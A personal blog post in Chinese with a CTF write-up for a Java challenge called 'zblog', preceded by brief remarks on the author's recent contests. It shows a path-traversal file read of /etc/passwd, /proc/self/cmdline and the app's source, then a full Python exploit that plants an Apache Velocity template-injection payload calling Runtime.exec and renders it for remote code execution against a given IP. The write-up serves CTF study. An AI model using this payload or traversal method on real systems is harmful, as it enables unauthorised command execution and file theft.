抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

byc_404's blog

Do not go gentle into that good night

最近忙着复习去了。等到中午概统的复习课结束了才有时间完整看下题。除开一道web-pwn,剩下两个php都是常规考点,就是脑洞跟环境真心恶心人。学弟们也轻松解决,应该不需要什么记录。我自己做了下zblog这道java题,简单记录下。

最近ciscn赛区第7打进分区赛。强网杯跟着SU拿了第12。(就是自己太捞了,难题一律卡壳,果然不好好研究php跟java是没有出路的).然后为了国赛出了道Node.js不知道有没有机会拿到别的赛区去,估计真拿了会丢人吧。复习的时间也很少。不知道考试会不会炸……但是每次结束一个阶段总要写写文章的。所以形式化地写写。

zblog

简单java.就是环境卡的要死。

title参数存在文件读取。后面看源码会发现是任意模板文件渲染的。
这里没记错的话有个小细节就是不能随便插../来穿越路径。后面会发现它是拼接路径的所以路径不能随便构造。而且似乎一开始尝试读文件的时候有点迷。文件末尾加了个/才能读到,不加读不到。不知道是什么神必操作。然后后来好像又给修好了???

总之fuzz一下可以找到根目录的位置读到/etc/passwd。接着读下/proc/self/cmdline

1
java -jar /home/ctf/web/target/web-1.0-SNAPSHOT-jar-with-dependencies.jar

个人觉得python跟java环境在有arbitary file read的情况下读下cmdline挺重要的。基本都会暴露绝对路径。比如此处。
更重要的是这个target.写过maven项目的都知道maven build好的内容都放在target文件夹下。所以这里基本确定能够确定按maven项目结构来读文件。

只要知道结构就等于把所有文件都暴露出来了。

先读下pom.xml。发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>ctf</groupId>
<artifactId>web</artifactId>
<version>1.0-SNAPSHOT</version>

<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<project.reporing.outputEncoding>UTF-8</project.reporing.outputEncoding>
<maven.compiler.source>1.8</maven.compiler.source>
<maven.compiler.target>1.8</maven.compiler.target>
</properties>

<dependencies>
<dependency>
<groupId>com.sparkjava</groupId>
<artifactId>spark-core</artifactId>
<version>2.9.2</version>
</dependency>
<dependency>
<groupId>com.sparkjava</groupId>
<artifactId>spark-template-velocity</artifactId>
<version>2.7.1</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-nop</artifactId>
<version>1.7.30</version>
</dependency>
<dependency>
<groupId>org.apache.velocity</groupId>
<artifactId>velocity</artifactId>
<version>1.7</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<archive>
<manifest>
<mainClass>Blog</mainClass>
</manifest>
</archive>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
</configuration>
<executions>
<execution>
<id>make-assemble</id>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>

</plugins>
</build>

</project>

从mainclass这里的值可以看出加载的主类Blog.class。按照maven默认没有包的结构直接读../../../../src/main/java/Blog.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import static spark.Spark.*;
import java.io.*;
import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.VelocityEngine;
import spark.template.velocity.VelocityTemplateEngine;


import java.io.StringWriter;

public class Blog {

private static void log(String fname, String content) {
try {
FileWriter writer = new FileWriter(fname, true);
writer.write(content);
writer.close();
} catch (IOException e) {

}
}

public static void main(String[] arg) {
staticFiles.location("/public");

VelocityEngine velocityEngine = new VelocityEngine();
velocityEngine.setProperty(VelocityEngine.RESOURCE_LOADER, "file");
velocityEngine.setProperty(VelocityEngine.FILE_RESOURCE_LOADER_PATH, "/");
velocityEngine.init();
VelocityContext context = new VelocityContext();

get("/", (request, response) -> {
request.session(true);
String title = request.queryParams("title");
if (title != null) {
log("/tmp/" + request.session().id(), "Client IP: " + request.ip() + " -> File: " + title + "\n");
Template template = velocityEngine.getTemplate("/home/ctf/web/src/main/resources/templates/" + title);
StringWriter sw = new StringWriter();
template.merge(context, sw);
return sw;
}
Template template = velocityEngine.getTemplate("/home/ctf/web/src/main/resources/templates/index");
StringWriter sw = new StringWriter();
template.merge(context, sw);
return sw;
});
}
}

代码逻辑是title参数除了会按值找到对应模板文件渲染。还会将参数按照sessionid存储到tmp/下。那么此处应该先传payload再进行渲染。即可触发ssti达成rce.
session为node0wjq18duzt9pg4ddli5qyyfqn3034.node0这种形式。id去掉.node0即可。

简单写个exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests


url='http://122.112.253.135/'

session='node0wjq18duzt9pg4ddli5qyyfqn3034.node0'
id=session.rstrip('.node0')
'''
data={'title':'../../../../src/main/java/Blog.java'}
r=requests.get(url,params=data,cookies={'JSESSIONID':session})
print(r.text)
'''
data={'title':"#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('grep -r flag /tmp')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end"}
r=requests.get(url,params=data,cookies={'JSESSIONID':session})
data={'title':'../../../../../../../tmp/'+id}
r=requests.get(url,params=data,cookies={'JSESSIONID':session})
print(r.text)

这个payload是找了个velocity回显的payload写的。逻辑上还是反射就不多说了。其实之前学习JavaSec那个项目里的sstipayload也能执行。但是似乎外带时有点问题。

唯一比较狗的就是flag在/tmp下。在tmp列目录会因为session文件太多进行相关操作直接卡死。一个个试发现最后只有grep -r flag /tmp不会卡。做完后发现换了个节点,flag放根目录了……

就这么多吧。希望新学期一切顺利。比赛成绩能更进一步。整个暑假学习的知识,做过的题,打过的比赛让这两个月没有荒废,收获还是挺大的。比较可惜的是本来打算跟完的Commoncollections几条链子以及jackson,shiro等等exp的原理没能全部完成。希望过段时间能把坑填了。

评论